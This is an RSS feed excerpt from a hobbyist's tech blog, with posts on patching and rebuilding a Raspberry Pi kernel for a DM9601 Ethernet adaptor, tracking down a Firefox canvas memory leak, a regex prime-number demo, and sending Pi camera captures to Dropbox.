The Model A I used for the <a href="http://www.jumpstation.co.uk/flog/Jan2015.html#p190120151932">USB-&gt;Ethernet adaptor</a> was still connected and running and was being powered by the <a href="http://shop.pimoroni.com/products/pihub">PiHUB</a>, I wonder. So I powered it down and connected the B+ and low and behold IT WORKED! The <a href="http://shop.pimoroni.com/products/pihub">PiHUB</a> seems to be better able to supply the consistent current required.

FYI the <a href="http://shop.pimoroni.com/products/pihub">PiHUB</a> also had a keyboard and mouse attached as well as powering the Pi and the <a href="http://www.jumpstation.co.uk/flog/Jan2015.html#p190120151932">USB-&gt;Ethernet adaptor</a>.

<a href="http://shop.pimoroni.com/products/pihub">PiHUB</a> for the WIN!
</description>
</item>
<item>
<title>dm9601 raspberry pi patch on 4GB SD card</title>
<pubDate>Mon, 19 Jan 2015 19:32:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p190120151932</link>
<description>
I want to revisit the <a href="http://www.jumpstation.co.uk/flog/Jan2015.html#p180120151642">Kernel build with dm9601 patch</a> to a) remove unnecessary steps and b) see if it could be done on a 4GB SD card.

New 4GB SD card with Raspbian (2014-12-24-wheezy-raspbian.img)

<code>sudo apt-get -y update
sudo apt-get -y dist-upgrade
sudo apt-get -y install gcc make bc screen ncurses-dev</code>

<code>df -h</code>
<code class="output">Filesystem      Size  Used Avail Use% Mounted on
rootfs          3.6G  2.4G  985M  72% /
/dev/root       3.6G  2.4G  985M  72% /
devtmpfs        215M     0  215M   0% /dev
tmpfs            44M  208K   44M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs            88M     0   88M   0% /run/shm
/dev/mmcblk0p1   56M  9.7M   47M  18% /boot</code>

time to do some spring cleaning.
<code>sudo apt-get -y install deborphan
sudo apt-get -y autoremove --purge libx11-.* lxde-.* raspberrypi-artwork xkb-data omxplayer penguinspuzzle sgml-base xml-core alsa-.* cifs-.* samba-.* fonts-.* desktop-* gnome-.*
sudo apt-get -y autoremove --purge $(deborphan)
sudo apt-get -y autoremove --purge
sudo apt-get -y autoclean</code>

<code>df -h</code>
<code class="output">Filesystem      Size  Used Avail Use% Mounted on
rootfs          3.6G  849M  2.5G  25% /
/dev/root       3.6G  849M  2.5G  25% /
devtmpfs        215M     0  215M   0% /dev
tmpfs            44M  208K   44M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs            88M     0   88M   0% /run/shm
/dev/mmcblk0p1   56M  9.7M   47M  18% /boot</code>

Get the repositories and patch the Kernel.
<code>git clone --depth 1 git://github.com/raspberrypi/linux.git
git clone https://github.com/kmtaylor/rpi_patches.git
cd linux
patch -p1 < ../rpi_patches/dm9601-bug.patch</code>

Prepare Kernel config
<code>KERNEL_SRC=/home/pi/linux/
make mrproper
zcat /proc/config.gz > .config
make oldconfig</code>

and the 11hr bit.
<code>make</code>

build the modules.
<code>sudo make modules_install</code>

finally copy the newly built Kernel to the boot partition.
<code>sudo cp arch/arm/boot/zImage /boot/kernel.img</code>

Last check after rebooting with the DM9601 USB-&gt;Ethernet adaptor and WORKS!!
</description>
</item>
<item>
<title>Painful pi 11hr kernel rebuild for one line patch</title>
<pubDate>Sun, 18 Jan 2015 16:42:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p180120151642</link>
<description>
For various reasons the following was performed on a Raspberry Pi (model B+) instead of cross compiling it on a more capable machine.

It took over 10hrs to build, all fool me!

All links about building the Kernel on the Pi lead to 
http://elinux.org/RPi_Kernel_Compilation

but it is either out of date or just plain wrong, these are the steps I took...

What Kernel version was the Pi currently running?
<code>uname -a</code>
<code class="output">Linux raspberrypi 3.12.35+ #730 PREEMPT Fri Dec 19 18:31:24 GMT 2014 armv6l GNU/Linux</code>

<code>git init
git clone --depth 1 git://github.com/raspberrypi/linux.git
cd linux</code>

That got the latest Kernel, that I confirmed with

<code>head linux/Makefile</code>
<code class="output">
VERSION = 3
PATCHLEVEL = 12
SUBLEVEL = 36
EXTRAVERSION =
NAME = One Giant Leap for Frogkind</code>

<code>sudo apt-get -y update
sudo apt-get -y dist-upgrade
sudo apt-get -y install gcc make bc screen ncurses-dev</code>
(notice the "-y"? that says yes to everything, dangerous if you are not sure what you are doing!)

<code>KERNEL_SRC=/home/pi/linux/
git clone https://github.com/raspberrypi/tools</code>

and promptly ran out of space on my 4gb SD card :(

New 8gb SD card with Raspbian and we are off again, repeated all the above steps and ...

<code>CCPREFIX=/home/pi/tools/arm-bcm2708/arm-bcm2708-linux-gnueabi/bin/arm-bcm2708-linux-gnueabi-</code>

sets the path to the tools for the Pi's chipset so we can continue

<code>make mrproper
gunzip -c /proc/config.gz > .config</code>

that will copy the current running kernels config settings.

<code>ARCH=arm CROSS_COMPILE=${CCPREFIX} make oldconfig</code>

preps the build with the old settings
and if you want to change any of the setting use

<code>ARCH=arm CROSS_COMPILE=${CCPREFIX} make menuconfig</code>

but that was not my goal so onwards.

now the long bit.

<code>make</code>
Started Fri Jan 16 21:36:07 UTC 2015
Ended Sat Jan 17 08:00:58 UTC 2015
Thats right, almost eleven hours

But all was well so I continued.

<code>sudo make modules_install</code>
which thankfully only took a few minutes.

<code>sudo cp arch/arm/boot/zImage /boot/kernel.img</code>
Which copies the new Kernel into place and rebooted with
<code>sudo shutdown -r now</code>

When the Pi was up and running again

<code>uname -a</code>

now gives 

<code class="output">Linux raspberrypi 3.12.36+ #1 PREEMPT Sat Jan 17 07:23:18 UTC 2015 armv6l GNU/Linux</code>

the transplant has worked!!

Now to apply the fix from

https://github.com/kmtaylor/rpi_patches/blob/master/dm9601-bug.patch

edit "/drivers/net/usb/usbnet.c"

change line 476 from
<code>- skb = __netdev_alloc_skb_ip_align(dev-&gt;net, size, flags);</code>
to 
<code>- skb = __netdev_alloc_skb_ip_align(dev-&gt;net, size * 2, flags);</code>

<code>make</code>

Only 9mins this time, it just builds the changed file and its dependencies.

another

<code>sudo make modules_install
sudo cp arch/arm/boot/zImage /boot/kernel.img
sudo shutdown -r now</code>

test one ssh:passed
test two update: scary pauses but ... WORKS!

FYI When I got stuck with 
<code class="output">Syntax error: word unexpected (expecting &quot;)&quot;)<code>
I found this post helped

https://github.com/raspberrypi/linux/issues/437#issuecomment-28938920
By "notro"

I wonder how difficult it would be to make this fix, a kernel boot parameter?
</description>
</item>
<item>
<title>DM9601 ethernet adaptor for raspberry pi looks grim</title>
<pubDate>Sun, 18 Jan 2015 16:28:21 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p180120151628</link>
<description>
One of the Raspberry Pi model A's main features is its lack of Ethernet adaptor(part of keeping the price down) and every now and then I really miss being able to ssh into it without messing about with Wifi.

Come Christmas 2014 I had over 200 items in my Amazon wish-list including one
MOGOI(TM) White USB 2.0 to RJ45 Port Lan Ethernet Network Adapter Converter For PC/Mac/Win7 With MOGOI Accessory Wire Winder

Which at the time was less than &pound3;

Xmas day and I got various items mostly from my wish-list including this USB-&gt;Ethernet adaptor. Plugged it in to the Raspberry Pi and was amazed that I could just <a href="http://www.jumpstation.co.uk/flog/Jan2013.html#190120131001">run nmap and find the Pi</a>. Then I ssh'd in and as it all worked I left a glowing review on Amazon.

But all was not well. I tried to update the Pi with the usual
<code>sudo apt-get update</code>
and was surprised to get a Kernel panic, stopping the Pi dead in its tracks. Puzzled I went through two more SD cards and switched power supplies thinking that was where the problems lay. But no, each time I tried to update, Kernel panic.

Googling around for <a href="https://www.google.co.uk/search?q=apt-get+update+kernel+panic">apt-get Kernel panic</a> immediately showed other users of this type of USB-&gt;Ethernet adaptor having exactly the same problem.

<code>lsusb</code>
<code class="output">lsusb</code>...
Bus 001 Device 004: ID 0fe6:9700 Kontron (Industrial Computer Source / ICS Advent) DM9601 Fast Ethernet Adapter
...

It is also know for claiming to be a USB2.0 device but is really USB1.1
<code>sudo lsusb -d 0fe6:9700 -v</code>
<code class="output">Bus 001 Device 004: ID 0fe6:9700 Kontron (Industrial Computer Source / ICS Advent) DM9601 Fast Ethernet Adapter
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               1.10
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0 
  bDeviceProtocol         0 
  bMaxPacketSize0        64
  idVendor           0x0fe6 Kontron (Industrial Computer Source / ICS Advent)
  idProduct          0x9700 DM9601 Fast Ethernet Adapter
  bcdDevice            1.01
  iManufacturer           0 
  iProduct                2 USB 2.0 10/100M Ethernet Adaptor
...
</code>

note the bcdUSB field is 1.10, that's USB1.1 and its throughput is limited to 12 Mbps.

so all is lost and I have a new paper weight?

No, there was hope, someone had created a Kernel patch that doubled the buffer size and stopped the panic.
https://github.com/kmtaylor/rpi_patches/blob/master/dm9601-bug.patch

and the that patch was to simply change line 476 from
<code>- skb = __netdev_alloc_skb_ip_align(dev-&gt;net, size, flags);</code>
to 
<code>- skb = __netdev_alloc_skb_ip_align(dev-&gt;net, size * 2, flags);</code>

but there was a small problem, this was not a simple binary module download or even a module source build...

I needed to build the entire Kernel !!!
</description>
</item>
<item>
<title>How to cheat at regex crosswords</title>
<pubDate>Thu, 18 Dec 2014 21:47:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2014.html#p181220142147</link>
<description>
So what were those tricky Regular Expressions <a href="/flog/Dec2014.html#p181220141831">I spoke of last time?</a>

http://regexcrossword.com/

Which offers clues as regex, its great fun. I had tried a while ago but not bother to saved my score, this time I wanted to log in and conqueror all the puzzles.

I got 42 in before I hit a road block. The puzzles had become steadily harder, for instance, masking a 'O'(oh) as a '0'(zero) in a number 2014(2O14). Other tricks included making out a clue was important but giving it the meta-character of *(match 0 or more occurrences) or ?(match 1 or more occurrences) and then opting for the 0 part of those matches. Essentially making them irrelevant.

What was really frustrating with the later puzzles was the fact that when you validate your answer you get no feedback other than it was wrong, no indication what row or column needs attention.

"If in doubt cheat"

Well, it's not really cheating just offering a helping hand.

I viewed the source code of the http://regexcrossword.com/js/libs-48b2489b.js file and used Chromes tools to "Prettify" it then I saved it to my local machine and set <a href="http://www.fiddler2.com">fiddler</a> up with an autoresponder rule for
<code>EXACT:http://regexcrossword.com/js/libs-48b2489b.js</code>

pointing at my local copy of the file. Then I found where the regex test where made and inserted
<code>console.log('/^'+t[i] + '$/.test("' + e + '") ' + (n = new RegExp("^" + t[i] + "$"), n.test(e)) );
</code>
line 13766

This meant that when I validated a puzzle all the regex up until a failing one would be displayed.

Joke is, I used this on two of the Volapük puzzles and no more!

Now I need to see about this ultimate regex crossword...
http://jimbly.github.io/regex-crossword/
</description>
</item>
<item>
<title>Demystifying the prime number regular expression</title>
<pubDate>Thu, 18 Dec 2014 18:31:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2014.html#p181220141831</link>
<description>
I was discussing some tricky Regular Expressions with a colleague when it was mentioned that Regular Expressions could be used to find prime numbers.

A quick Google found http://vijucat.wordpress.com/2013/12/21/a-regular-expression-to-match-prime-numbers/
but I was disappointed to find the explanation wanting...

A Prime Number is a simply a number that can only be divided by itself and one. So 3 is a prime number as is 17 but 15 is not.

The following practical demonstration using the magic Regular Expression...

<code>String.prototype.pad = function(input, length) {
    var result = this;
    while (result.length &lt; length)
        result = input + result;
    return result;
}

var char = "+";
for (var i=1;i&lt;=32;i++) {
                var value = char.pad(char,i);
                console.log((i+"").pad("0",2) + ' ' + value + ' ' + /^(?!(..+)\1+$)/.test(value));
}
</code>
<code class="output">01 + true
02 ++ true
03 +++ true
04 ++++ false
05 +++++ true
06 ++++++ false
07 +++++++ true
08 ++++++++ false
09 +++++++++ false
10 ++++++++++ false
11 +++++++++++ true
12 ++++++++++++ false
13 +++++++++++++ true
14 ++++++++++++++ false
15 +++++++++++++++ false
16 ++++++++++++++++ false
17 +++++++++++++++++ true
18 ++++++++++++++++++ false
19 +++++++++++++++++++ true
20 ++++++++++++++++++++ false
21 +++++++++++++++++++++ false
22 ++++++++++++++++++++++ false
23 +++++++++++++++++++++++ true
24 ++++++++++++++++++++++++ false
25 +++++++++++++++++++++++++ false
26 ++++++++++++++++++++++++++ false
27 +++++++++++++++++++++++++++ false
28 ++++++++++++++++++++++++++++ false
29 +++++++++++++++++++++++++++++ true
30 ++++++++++++++++++++++++++++++ false
31 +++++++++++++++++++++++++++++++ true
32 ++++++++++++++++++++++++++++++++ false
</code>

And now you can clearly see that the nature of the found prime number is in fact the length of the string tested by the Regular Expression.

More regex fun next time.
</description>
</item>
<item>
<title>motioning the raspberry pi camera into dropbox</title>
<pubDate>Tue, 16 Dec 2014 22:08:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2014.html#p161220142208</link>
<description>
The key premise for setting up my Raspberry Pi <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=camera">camera last time</a> was to catch bad guys and I went out of my way to store the captured images on an FTP server. This way if the machine is taken I still have the images.

Problem being I had to constantly monitor the FTP server and download any images to see them. Not to mention I was restricted by disk space on that server. I needed a better solution.

What I found was a great article at rasp.tv about setting up a Dropbox app that could write files from the Pi.
http://raspi.tv/2013/how-to-use-dropbox-with-raspberry-pi

It is fairly straight forward, log in to your Dropbox account, visit the developers pages and create an entry for a new application that has file access and copy down the secret keys. Then install a bash script from https://github.com/andreafabrizi/Dropbox-Uploader and enter the keys.

Now a simple command will upload files from the Pi to your Dropbox account.

Edit the motion.conf and change the "on_picture_save" line to be
<code>on_picture_save /home/pi/dropbox/Dropbox-Uploader/dropbox_uploader.sh -f /home/pi/.dropbox_uploader upload %f %f &amp;&amp; rm %f</code>
Note the path to script and the fact I remove(rm) the file if the upload is successfully(&amp;&amp;)

I also found I wanted the photos to appear in a different folder for each day.
<code>jpeg_filename %Y%m%d/%H%M%S-%q%v</code>
ensures the year(%Y) followed by the month(%m) and day(%d) make up the folder name which the Dropbox-Uploader script creates recursively for me.

Now on my Android phone I can view the days thumbnails and delete at will.

FYI if you get motion crashing with
<code class="output">[0] Motion thread 1 restart
[1] Thread 1 started
[0] Thread 1 - Watchdog timeout, trying to do a graceful restart
[0] Thread 1 - Watchdog timeout, did NOT restart graceful,killing it!
[0] Motion thread 1 restart
[0] Motion thread 1 restart
[0] Motion thread 1 restart
...
[0] Motion thread 1 restart</code>

a quick
<code>sudo apt-get update -y
sudo apt-get upgrade -y
sudo rpi-update
sudo shutdown -r now</code>

will fix it

</description>
</item>
<item>
<title>wacky wuaki denies free account unless accompanied by parent company</title>
<pubDate>Sun, 07 Dec 2014 15:36:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2014.html#p071220141536</link>
<description>
It turns out my mobile provider http://www.orange.co.uk is now owned by http://ee.co.uk/
Nothing much has changed since they took ownership other than a large amount of spam texts that i cannot refuse because there are from the carrier. But yesterday they sent one I was interested in. "Here's a Christmas treat on us. Pick a film rental from Wuaki to watch."

I had never heard of http://wuaki.tv/ before so my first task was finding out how legit they were and what I need to install to use their service. Seems OK except for the name so all I need to do is register ...

So I fill in the "Register new account" and after failing to accept a decent password, which hints to no hashing in the database [BIG FROWN] it said the usual "We have sent a confrimation email, please follow the instructions to validate ... blah blah". So I wait ...
and wait ...
No email. The website has a FAQ that shows how to get the registration email sent again, do that and email appears a few minutes later. It only has one "click here to continue" link but ...

404

Odd, try copying and pasting link 404. Try fiddling the URL to have more or less in the path, strip any extra unneeded bits. 

404

Follow the "resend registration" email again ... wait. Eventually the email arrives and its a different link but, you guessed it 

404

Previously perusing their FAQ I noticed that keep mentioning a parent company http://www.rakuten.com/ and that accounts could be reused.

So off I go to http://www.rakuten.com/ and create an account, even better no registration email!!

WIN!?

Not so quick cannot log in to http://wuaki.tv/. Scratch head and try again 10 minutes later and ...

WIN!!

Now we have watched "Guardians of the Galaxy" and everyone is happy! 
</description>
</item>
<item>
<title>Build your own firefox and die in a podrace</title>
<pubDate>Sat, 29 Nov 2014 15:52:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p291120141552</link>
<description>
I am continuing my fight against/with Firefox <a href="/flog/tags.html?tag=firefox">previously</a>.

So I get the source code(firefox-27.0b1.source) and there is no <code>make</code> just <code>mach build</code>
but that wants python2 and gentoo is set to Python3 <code>eselect python list
eselect python set 1</code>
(might be a different index for you)
Then I need to disable gstreamer pluggins
<code>echo ac_add_options --disable-gstreamer > mozconfig</code>
Strangely the install page https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions
Starts with "The Mozilla build system, like the rest of the Mozilla code base, is cross-platform. It uses traditional Unix-style autoconf and make tools to build the various applications (even on non-unix operating systems)."

yeah right

Started a build at 22:37 and ... ran out of disk space by the morning.

Moved everything to a second disk and started deleting the many many copies of Firefox I now have.

<code>./mach build</code>
failed, needed to run 
<code>./mach clobber
./mach configure</code>
before it would start again.

took 40mins, now to take it for a <s>leak</s>drive

but now there is another problem

Switching python profiles had affected podracer the program I use to get all my podcasts that I listen to during my commute.
 
 With the wrong version of python it started downloading all podcast even up to 4 years ago.
 
 Note to self only change python profiles when absolutely necessary and then immediately change them back.
 
 Now I can test my new Firefox.
 
 - leak :(
</description>
</item>
<item>
<title>Pumpkin Pi slowes down as it reaches X</title>
<pubDate>Fri, 28 Nov 2014 21:17:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p281120142117</link>
<description>
What I had forgotten regarding the <a href="http://www.jumpstation.co.uk/flog/Nov2014.html#p281120142054">Pumpkin Pi</a> was that while trying to get the kids involved I connected up a monitor and ran X rather than just ssh-ing in. this had a rather unfortunate side effect that the code ran almost 3x slower meaning the LEDs were constantly flashing and there was lots of head scratching. As soon as X was stopped and dev continued in VIM on the console everything was fine as you can see in the video.
</description>
</item>
<item>
<title>Time lapse shelve construct with cat</title>
<pubDate>Fri, 28 Nov 2014 20:59:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p281120142059</link>
<description>
Also in <a href="">videos</a> we built a set of Ikea shelves and time lapsed it in a random way.

<iframe width="560" height="315" src="//www.youtube.com/embed/LUXjoDt3TkY" frameborder="0" allowfullscreen></iframe>

https://www.youtube.com/watch?v=LUXjoDt3TkY 
</description>
</item>
<item>
<title>Pumpkin pi gets diffuse</title>
<pubDate>Fri, 28 Nov 2014 20:54:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p281120142054</link>
<description>
This Halloween(post is bit late) the kids wanted to update me <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=pimatrix">Ghostly PiMatrix work.</a>

The obvious choice was a Pumpkin but we wanted to lose the harsh LEDs so Alex created a diffusing screen. Results were not perfect, but it was a nice idea.
<iframe width="560" height="315" src="//www.youtube.com/embed/akGkyHtizrk" frameborder="0" allowfullscreen></iframe>

https://www.youtube.com/watch?v=akGkyHtizrk
</description>
</item>
<item>
<title>firefox spelunking pays off a little</title>
<pubDate>Fri, 21 Nov 2014 21:15:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p211120142115</link>
<description>
Even more Firefox hacking!!

Now I know that the leak occurred between the releases 26.0 and 27.0 I should be able to diff the source code and view the change that started it all, then its just a matter of finding out who committed the change and hunting them down ...
or maybe just reporting the fact so it can get fixed.

First I need to narrow it down, the the beta version that had the first bad commit, drat there are loads of 26.0 and 27.0 releases, 19 betas. More narrowing required.

Attack Plan Alpha ~ Divide and ... leak

Mozilla Firefox-26.0b5 no leak
Mozilla Firefox-27.0b5 leak

Right, so somewhere between 26.0b5 and 27.0b5, here we go again.

Mozilla Firefox-27.0b4 leak
Mozilla Firefox-27.0b2 leak
Mozilla Firefox-27.0b1 leak
Mozilla Firefox-26.0b10 no leak
Mozilla Firefox-26.0b8 no leak
Mozilla Firefox-26.0b7 untested
Mozilla Firefox-26.0b6 untested

So just a quick diff and we are done here?

Not quite there are literally hundreds of files that are different :(

Time to report this as a bug

https://bugzilla.mozilla.org/show_bug.cgi?id=1102487

But I am not giving up...
</description>
</item>
<item>
<title>digging into firefoxes history looking for the leak</title>
<pubDate>Sun, 16 Nov 2014 21:16:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p161120142116</link>
<description>
More Firefox hacking!!

I explained my <a href="/flog/tags.html?tag=firefox">situation</a> to colleague and he asked something rather obvious. What if the problem is not the canvas code but the way its being called ...

So I created a second script with a loop instead of "setInterval" and it does NOT exhibit issue (10,000,000 iterations).

Time to go further down the rabbit hole.

http://www.jumpstation.co.uk/evil/badactor.html with a line commented out
//context.beginPath();
no issue, but very slow, about 4x slower than when not commented out.

I then ran the original again just to prove to myself that the issue still existed, it did.

http://www.jumpstation.co.uk/evil/badactor.html with a line commented out
//context.arc(0, 0, 10, 0, 2 * Math.PI, true);
no issue, normal speed

http://www.jumpstation.co.uk/evil/badactor.html with a line commented out
//context.fill();
no issue

http://www.jumpstation.co.uk/evil/badactor.html with a line commented out
//context.closePath();
Issue and no slow down

Another live 32bit distro
knoppix:: Firefox 33.1(direct binary) ~ no issue

Do older version of Firefox have the same problem? 

Time to go spelunking https://ftp.mozilla.org/pub/mozilla.org/firefox/releases/

Mozilla Firefox-4.0rc2 - "Hooray! Your Firefox is up to date", 2x slower, no leak
Mozilla Firefox-8.0 - wouldn't run
Mozilla Firefox-10.0.12esr no leak
Mozilla Firefox-17.0.11esr no leak
Mozilla Firefox-20.0 no leak
Mozilla Firefox-23.0 no leak [1]
Mozilla Firefox-24.0 no leak [1]
Mozilla Firefox-24.0esr no leak
Mozilla Firefox-24.8.0esr no leak
Mozilla Firefox-24.8.1esr no leak
Mozilla Firefox 33.1 [Repeating for safety] ~ leak detected
Mozilla Firefox-30.0 leak
Mozilla Firefox-31.0 leak
Mozilla Firefox-32.0 leak
Mozilla Firefox-33.0 leak

Attack wave II
Mozilla Firefox-25.0.1 [1] no leak
Mozilla Firefox-26.0 [1] NO LEAK
Mozilla Firefox-27.0 [1] LEAK
Mozilla Firefox-28.0 [1] leak
Mozilla Firefox-29.0.1 leak

[1] The code I am using reports the date at the beginning of the test and then after the "setInterval" has been called 400,000 times, which is runs for 25 - 30mins. For all versions the code <code>console.log(new Date());</code>
produced the date and time but these two versions of Firefox output <code class="output">object Date</code>

</description>
</item>
<item>
<title>Firefox bisected with magic equals bad doodoo</title>
<pubDate>Wed, 12 Nov 2014 21:20:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2014.html#p121120142120</link>
<description>
So I am still trying to track down my little memory problem with a bit of JavaScript I wrote <a href="/flog/Aug2014.html#p130820141357">[link to previous ramblings]</a>.

The problem can be distilled down to the X server using up memory that does not get released when the browser is closed.
Firefox not Chrome
Specific JavaScript (no other pages give any problems)
My Machine, cannot replicate on an number of VMs

To narrow down what the actual issue is I have been repeatedly pairing down the code and running it for 30mins at a time, noting memory usage.

I expected this to a fairly quick exercise, and after 32 versions I have created a small web page with only a few lines of JavaScript in it that replicates the problem reliably.

<code>&lt;canvas id="canvasId"&gt;&lt;/canvas&gt;
	var context = document.getElementById('canvasId').getContext("2d");

	setInterval(function(){
		context.beginPath();
		context.arc(0, 0, 10, 0, 2 * Math.PI, true);
		context.fill();
		context.closePath();
	}, 1);
</code>

That is it. Removing the fill line stops the memory growth, changing just about anything else makes no difference.

The page is available here http://www.jumpstation.co.uk/evil/badactor.html and has a button to start the test, remember the memory is not allocated by Firefox but X.

I have also been trying to get another machine (VM) to exhibit the problem but no luck.

My system 
<code>Linux 3.12.21-gentoo-r1 #1 SMP Sun Jun 22 22:06:54 BST 2014 x86_64 AMD Phenom(tm) II X4 850 Processor AuthenticAMD GNU/Linux</code>
has tried

Mozilla Firefox 24.8.0 (esr) ~ Issue
Mozilla Firefox 31.2.0 (esr) ~ Issue
Mozilla Firefox 33.1 (direct 64bit binary) ~ Issue
Mozilla Firefox 33.1 (direct 32bit binary) ~ can not run 32bit on 64bit setup xul libraries
Google Chromium ~ no issue 

On the VMs 
(Windows host 32bit)

slax:: Mozilla Firefox 19.0.2 ~ no issue
knoppix:: iceweasel 21.0 ~ no issue
gentoo:: Konqueror 4.13.3 ~ no issue

(Windows host 64bit)

gentoo:: Aurora(Firefox 33.0) ~ no issue
gentoo:: Firefox 33.1 (direct 64bit binary) ~ no issue

I am still on the case. As I have no idea what to do !
</description>
</item>
<item>
<title>Windows 8 updates fail again</title>
<pubDate>Thu, 23 Oct 2014 19:15:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2014.html#p231020141915</link>
<description>
Had fun time at work today. But it all started last week after Microsoft's Patch Tuesday ...
I make a point of installing all updates but these failed repeatedly and after wasting half a day trying to install them I just quit, which is pretty rare for me. Also a rare occurrence is to o ask the IT department for help, but as they could dedicate time to the issue I just let it ride. They did manage to get more than half of the outstanding upgrades to install, mainly but installing them one by one, but the last two proved too stubborn. Which leads me today when an electrician decided to disconnect a certain circuit that did not seem to be in use. To be fair I do not think it was labelled correctly, but none the less that took out the entire development, QA and design teams in one foul swoop. Five minutes later the power was back on and everyone was powering up their machines... Needless to say that was when Windows 8 decided I must have rebooted to install updates and it took 29 minutes to fail at that task and let me log-in at which point I did not have enough time to get Visual Studio loaded with my project before it was home time.
</description>
</item>
<item>
<title>Tunnel announcement for new homepage</title>
<pubDate>Wed, 15 Oct 2014 22:28:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2014.html#p151020142228</link>
<description>
So I sort of forgot to mention the new <a href="/">homepage</a>.
<img src="images/new_homepage.jpg alt="screen capture of the jumpstation.co.uk site homepage">

See that red "?" in a circle ? That is where the "tunnel" will go.

Back in 2002 I created a Java applet that set in the same place offering visitors a touch of random. Browsers started to make it more and more difficult to support Java applets and I used to see a broken plugin icon there(if I ever visited the <a href="/">homepage</a>). Eventually browser just hide any sign that a Java applet has failed to load and I forgot about it.

The <a href="/">homepage</a> was always designed to showcase what I was working on. Re-ordering when new and exciting things came along. But then I started to use the <a href="/flog/flog.html">flog</a> for that side of the website and the <a href="/">homepage</a> fell into <a href="/old_index.htm">disrepair</a>(the layout was tables!).

For a long time I felt I wanted to make the <a href="/flog/flog.html">flog</a> more prominent as it was the only pages being regularly updated. So I opted for the super simple/clean layout you can see there now, but at the same time I longed for the Java applet that had had its home there for so long.

I found the ancient applet source code and found it unreadable. Lots of double letter variables and a distinct lack of comments. I was able to recover a total of zilch, still this meant I could start from scratch and produce the next evolution in homepage random tunnels.

The code and graphics are 95% done, the only thing remaining is the boring bits. Which maybe why I a so easily distracted by thing like the <a href="https://github.com/robgithub/wheelofdestiny">Wheel of Destiny</a>.
<img src="images/jumpstation_wheel.jpg" alt="wheel of destiny configured with jumpstation page names/areas">

</description>
</item>
<item>
<title>Wheel of destiny is revealed on github</title>
<pubDate>Wed, 15 Oct 2014 22:05:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2014.html#p151020142205</link>
<description>
Oops! it happened <a href="http://www.jumpstation.co.uk/flog/Apr2014.html#270420141437">again</a>. My new "lunch time" 30 minute project that went on for 3 weeks is ...

<a href="https://github.com/robgithub/wheelofdestiny">Wheel of Destiny</a>.
<img src="images/jumpstation_wheel.jpg" alt="wheel of destiny configured with jumpstation page names/areas" >

Originally it was "wheel of Dev" and contained the names of all the developers at work. Born of a random brain fart when asked who should do a the mundane jog of merging this releases project branches.

As with the <a href="http://www.jumpstation.co.uk/flog/Apr2014.html#270420141437">2048 investigations</a> this quickly got out of hand and now boasts;

Dynamically created html5 canvas "Wheel".
Any number of slices.
Full theming of colours and settings.
Auto packing of any text to fit on a slice (<a href="http://robgithub.github.io/wheelofdestiny/examples/buildyourwheel.html">try it</a>)
Callback of the "winning" slice's value for any purpose needed.
Sizing and scaling based on html/css containers width/height.
Bounce back from the pointer when slowing down.
<a href="https://github.com/robgithub/wheelofdestiny">Github page</a> with <a href="http://robgithub.github.io/wheelofdestiny/examples/fourwheels.html">demos</a>, <a href="http://robgithub.github.io/wheelofdestiny/examples/buildyourwheel.html">demos</a>.

Here we have the different layers that make up the spinning wheel. I was able to reuse the canvas layering functions that were developed as part of the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a>
There is the composite at the top, followed by wheel and its attachments, then the pointer and centre, finally the slice selection.
<img src="images/four_exploded_202x202.jpg" alt="four instances of the wheel of destiny configured with different numbers of slices" >

This project is so mature it even has an <a href="https://github.com/robgithub/wheelofdestiny/issues">issue and an enhancement</a> in <a href="https://github.com/robgithub/wheelofdestiny">Github<a/>

If you are interested in the genesis of this project it all started on <a href="http://jsfiddle.net">jsfiddle</a>.
<a href="http://jsfiddle.net/rob_on_earth/pcgjn1rk/">Wheel of Dev</a>. Works perfectly as long as you do not change anything.
<a href="http://jsfiddle.net/rob_on_earth/zjh1t80x/">Wheel of Dev(sizeablity)</a>. Concentrating on the sizing and scaling.
<a href="http://jsfiddle.net/rob_on_earth/9vgayaq7/">Wheel of Destiny</a>. Rewriting the math from scratch to actually work with different numbers of slices.

With <a href="https://github.com/robgithub/wheelofdestiny">Wheel of Destiny</a> out of my mind I can get on with filling that odd gap on the new <a href="/">home page</a>, which is what I should have been concentrating on!
</description>
</item>
<item>
<title>cygwin conspires to keep windows vista at bay</title>
<pubDate>Wed, 24 Sep 2014 23:04:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2014.html#p240920142304</link>
<description>
I was using cygwin to create a folder and then use wget and curl to download VM image files from https://www.modern.ie/en-gb/virtualization-tools

The self extracting archives would not open instead giving

"Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item." 

I tried a number of things before copying one of the files to a new folder via Windows Explorer and low and behold it worked! So I quickly moved all the other files into the new folder and ... then are gave the same error.

